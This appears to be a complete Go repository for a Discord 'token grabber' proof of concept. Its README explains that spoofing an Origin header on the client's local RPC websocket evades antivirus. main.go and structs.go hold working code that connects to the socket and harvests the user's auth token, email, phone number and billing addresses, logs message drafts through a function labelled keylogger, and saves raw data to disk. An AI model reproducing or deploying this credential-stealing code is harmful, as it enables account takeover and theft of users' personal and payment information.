├── data └── filler ├── go.mod ├── go.sum ├── README.md ├── structs.go └── main.go /data/filler: -------------------------------------------------------------------------------- 1 | github wont let me push an empty folder lol -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/postrequest69/token-grabber-poc 2 | 3 | go 1.15 4 | 5 | require ( 6 | github.com/Jeffail/gabs v1.4.0 7 | github.com/gorilla/websocket v1.4.2 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Jeffail/gabs v1.4.0 h1://5fYRRTq1edjfIrQGvdkcd22pkYUrHZ5YC/H2GJVAo= 2 | github.com/Jeffail/gabs v1.4.0/go.mod h1:6xMvQMK4k33lb7GUUpaAPh6nKMmemQeg5d4gn7/bOXc= 3 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= 4 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Information 2 | 3 | This project abuses what I believe to be an unintentional use of the [local RPC](https://discord.com/developers/docs/topics/rpc) on port 6463.\ 4 | According to discord, this is not a problem that needs fixing.\ 5 | This Repository shows a way that an attacker can get a discord users token, email, phone number, payment information, and even keystrokes without ever reading a file or interacting with memory.\ 6 | **This has been tested on windows and linux, it doesn't work on linux, untested on MAC.** 7 | 8 | # How it works 9 | 10 | This works by opening a websocket connection to `ws://127.0.0.1:6463/?v=1&encoding=json`, normally this connection would be rejected but when supplying the header `Origin: https://discord.com`, it seems to open perfectly fine.\ 11 | Then we listen for the `READY` event, when we get that event we write two payloads, `SUBSCRIBE` and `CONNECT`.\ 12 | After that we listen for an incoming payload that passes all these checks. `payload.Cmd == "DISPATCH" && payload.Data.Type == "DISPATCH" && payload.Data.PID == 4` 13 | 14 | # Why is this important 15 | 16 | I belive this is an important exploit because it bypasses any way an antivirus could reasonably detect a token grabber for discord.\ 17 | Usually with token grabbers a program will read files in `%appdata%\discord\Local Storage\leveldb` matching a regex for the users token.\ 18 | Firstly this can be unreliable, tokens are stored in there when the client closes so if the user had logged out and back in (or had a forced relog due to a VPN being used) then those files will not have an up-to-date token.\ 19 | Secondly a token logger that does this could be stopped relatively easily, if the `discord` folder isn't installed in the `%appdata%` folder then you'll be pretty safe for the most part.\ 20 | This exploit doesn't require any reading of those files and always gets a valid and current token every time.\ 21 | Another reason this is important is because, though all the information this program grathers is avalible in the `leveldb`, the only thing you can realistically get in wide-spread use is a token. You can then gather all the other information with that token later, this exploit gets all that information without ever having to use the token (possibly setting off some sort of security measure). 22 | 23 | # Note 24 | 25 | Please don't use this tool in any way discord wouldn't allow, this is simply a POC to show what **can** be done. Thanks for reading! -------------------------------------------------------------------------------- /structs.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | type sendReady struct { 4 | Cmd string `json:"cmd"` 5 | Args interface{} `json:"args"` 6 | Evt string `json:"evt"` 7 | Nonce string `json:"nonce"` 8 | } 9 | 10 | type connectArgs struct { 11 | Type string `json:"type"` 12 | Pid int `json:"pid"` 13 | } 14 | 15 | type connect struct { 16 | Cmd string `json:"cmd"` 17 | Args *connectArgs `json:"args"` 18 | Nonce string `json:"nonce"` 19 | } 20 | 21 | type base struct { 22 | Cmd string `json:"cmd"` 23 | Data baseData `json:"data"` 24 | Event string `json:"evt"` 25 | Nonce interface{} `json:"nonce"` 26 | } 27 | 28 | type baseData struct { 29 | Type string `json:"type"` 30 | PID int `json:"pid"` 31 | Payloads []*interface{} `json:"payloads"` 32 | } 33 | 34 | type basePayload struct { 35 | Type string `json:"type"` 36 | } 37 | 38 | type overlayInit struct { 39 | Type string `json:"type"` 40 | User user `json:"user"` 41 | Token string `json:"token"` 42 | PaymentInfo []*paymentSource `json:"paymentSources"` 43 | Friends map[string]int `json:"relationships"` 44 | MediaState struct { 45 | Input map[string]struct { 46 | Name string `json:"name"` 47 | } `json:"inputDevices"` 48 | Output map[string]struct { 49 | Name string `json:"name"` 50 | } `json:"outputDevices"` 51 | } `json:"mediaEngineState"` 52 | } 53 | 54 | type tokenUpdate struct { 55 | Type string `json:"type"` 56 | Token string `json:"token"` 57 | } 58 | 59 | type storageSync struct { 60 | } 61 | 62 | type draftChange struct { 63 | ChannelID string `json:"channelId"` 64 | Content string `json:"draft"` 65 | } 66 | 67 | type userProfileFetch struct { 68 | Type string `json:"type"` 69 | User struct { 70 | ID string `json:"id"` 71 | Username string `json:"username"` 72 | Avatar string `json:"avatar"` 73 | Discriminator string `json:"discriminator"` 74 | PublicFlags int `json:"public_flags"` 75 | Flags int `json:"flags"` 76 | Banner interface{} `json:"banner"` 77 | Bio interface{} `json:"bio"` 78 | } `json:"user"` 79 | ConnectedAccounts []struct { 80 | Type string `json:"type"` 81 | ID string `json:"id"` 82 | Name string `json:"name"` 83 | Verified bool `json:"verified"` 84 | } `json:"connected_accounts"` 85 | PremiumSince interface{} `json:"premium_since"` 86 | PremiumGuildSince interface{} `json:"premium_guild_since"` 87 | MutualGuilds []struct { 88 | ID string `json:"id"` 89 | Nick interface{} `json:"nick"` 90 | } `json:"mutual_guilds"` 91 | } 92 | 93 | type paymentSource struct { 94 | Address struct { 95 | Name string `json:"name"` 96 | FirstAddress string `json:"line1"` 97 | SecondAddress string `json:"line2"` 98 | City string `json:"city"` 99 | PostalCode string `json:"postalCode"` 100 | State string `json:"state"` 101 | Country string `json:"country"` 102 | } `json:"billingAddress"` 103 | Email string `json:"email"` 104 | } 105 | 106 | type user struct { 107 | Discriminator string `json:"discriminator"` 108 | Username string `json:"username"` 109 | Email string `json:"email"` 110 | PhoneNumber string `json:"phone"` 111 | } 112 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "net/http" 7 | "os" 8 | 9 | "github.com/gorilla/websocket" 10 | ) 11 | 12 | var ( 13 | socketURL = "ws://127.0.0.1:6463/?v=1&encoding=json" 14 | headers = http.Header{} 15 | i int // part of logging all the data 16 | ) 17 | 18 | func initPayload(c *websocket.Conn) { 19 | 20 | var ready sendReady 21 | ready.Cmd = "SUBSCRIBE" 22 | ready.Evt = "OVERLAY" 23 | ready.Nonce = "test" 24 | var con = &connect{ 25 | Cmd: "OVERLAY", 26 | Args: &connectArgs{ 27 | Type: "CONNECT", 28 | Pid: 4, 29 | }, 30 | Nonce: "test", 31 | } 32 | c.WriteJSON(ready) 33 | c.WriteJSON(con) 34 | } 35 | 36 | func logToken(payload *overlayInit) { 37 | user := payload.User 38 | fmt.Printf("Welcome %s#%s! It seems your token has been logged...\nToken: %s\nPhone: %s\nEmail: %s\n", user.Username, user.Discriminator, payload.Token, user.PhoneNumber, user.Email) 39 | fmt.Printf("Wait but that isn't all!\n\nBilling Information:\n") 40 | for _, addy := range payload.PaymentInfo { 41 | fmt.Printf(" Address1: %s\n Address2: %s\n Email: %s\n Name: %s\n City: %s\n PostalCode: %s\n State: %s\n Country: %s\n\n", addy.Address.FirstAddress, addy.Address.SecondAddress, addy.Email, addy.Address.Name, addy.Address.City, addy.Address.PostalCode, addy.Address.State, addy.Address.Country) 42 | } 43 | friends := 0 44 | for _, f := range payload.Friends { 45 | if f == 1 { 46 | friends++ 47 | } 48 | } 49 | fmt.Printf("I could get even more information as well. Did you know that you have %v friends?\n\n", friends) 50 | 51 | fmt.Printf("I can even get your input and output devices!\n") 52 | fmt.Printf("\nInput:\n") 53 | for _, d := range payload.MediaState.Input { 54 | fmt.Printf(" %s\n", d.Name) 55 | } 56 | fmt.Printf("\nOutput:\n") 57 | for _, d := range payload.MediaState.Output { 58 | fmt.Printf(" %s\n", d.Name) 59 | } 60 | fmt.Println("\nAnyways follow me on github and checkout this repo!\nhttps://github.com/post04\nhttps://github.com/post04/token-grabber-poc") 61 | } 62 | 63 | func updateToken(p *tokenUpdate) { 64 | fmt.Println("Token update recieved:", p.Token) 65 | } 66 | 67 | func profileInfo(p *userProfileFetch) { 68 | if p.PremiumSince != nil { 69 | fmt.Printf("%s#%s has nitro!\n", p.User.Username, p.User.Discriminator) 70 | } 71 | if p.PremiumGuildSince != nil { 72 | fmt.Printf("%s#%s has a nitro boost on!\n", p.User.Username, p.User.Discriminator) 73 | } 74 | fmt.Printf("%s#%s has %v connected accounts!\n", p.User.Username, p.User.Discriminator, len(p.ConnectedAccounts)) 75 | for _, ca := range p.ConnectedAccounts { 76 | fmt.Printf(" Service: %s\n Name: %s\n Verified: %t\n ID: %s\n\n", ca.Type, ca.Name, ca.Verified, ca.ID) 77 | } 78 | } 79 | 80 | func keylogger(p *draftChange) { 81 | fmt.Printf("%s -> %s\n", p.ChannelID, p.Content) 82 | } 83 | 84 | // part of logging all the data 85 | func save(b []byte) { 86 | os.WriteFile(fmt.Sprintf("./data/%v.json", i), b, 0064) 87 | i++ 88 | } 89 | 90 | func main() { 91 | fmt.Println("Attempting to connect to websocket.") 92 | headers["Origin"] = []string{"https://discord.com"} 93 | c, _, err := websocket.DefaultDialer.Dial(socketURL, headers) 94 | if err != nil { 95 | panic(err) 96 | } 97 | 98 | for { 99 | _, message, err := c.ReadMessage() 100 | if err != nil { 101 | fmt.Println("\"" + err.Error() + "\"") 102 | if err.Error() == "websocket: close 1000 (normal): User logout" { 103 | fmt.Println("User logged out of client!") 104 | 105 | return 106 | } 107 | c.Close() 108 | return 109 | } 110 | save(message) // part of logging all the data 111 | payload := &base{} 112 | err = json.Unmarshal(message, &payload) 113 | if err != nil { 114 | fmt.Println(err) 115 | return 116 | } 117 | 118 | switch payload.Event { 119 | case "READY": 120 | fmt.Println("Ready triggered!") 121 | initPayload(c) 122 | default: 123 | for _, p := range payload.Data.Payloads { 124 | a := &basePayload{} 125 | b, err := json.Marshal(p) 126 | if err != nil { 127 | fmt.Println(err) 128 | return 129 | } 130 | err = json.Unmarshal(b, &a) 131 | if err != nil { 132 | fmt.Println(err) 133 | return 134 | } 135 | switch a.Type { 136 | case "OVERLAY_INITIALIZE": 137 | c := &overlayInit{} 138 | err = json.Unmarshal(b, &c) 139 | if err != nil { 140 | fmt.Println(err) 141 | return 142 | } 143 | logToken(c) 144 | break 145 | case "UPDATE_TOKEN": 146 | c := &tokenUpdate{} 147 | err = json.Unmarshal(b, &c) 148 | if err != nil { 149 | fmt.Println(err) 150 | return 151 | } 152 | updateToken(c) 153 | break 154 | case "STORAGE_SYNC": 155 | // all the data about emojis, friends, etc. 156 | break 157 | case "USER_PROFILE_FETCH_SUCCESS": 158 | // contains data like connected accounts and whatnot 159 | // c := &userProfileFetch{} 160 | // err = json.Unmarshal(b, &c) 161 | // if err != nil { 162 | // fmt.Println(err) 163 | // return 164 | // } 165 | // profileInfo(c) 166 | break 167 | case "DRAFT_CHANGE": 168 | c := &draftChange{} 169 | err = json.Unmarshal(b, &c) 170 | if err != nil { 171 | fmt.Println(err) 172 | return 173 | } 174 | keylogger(c) 175 | default: 176 | break 177 | } 178 | } 179 | } 180 | } 181 | main() 182 | } 183 | --------------------------------------------------------------------------------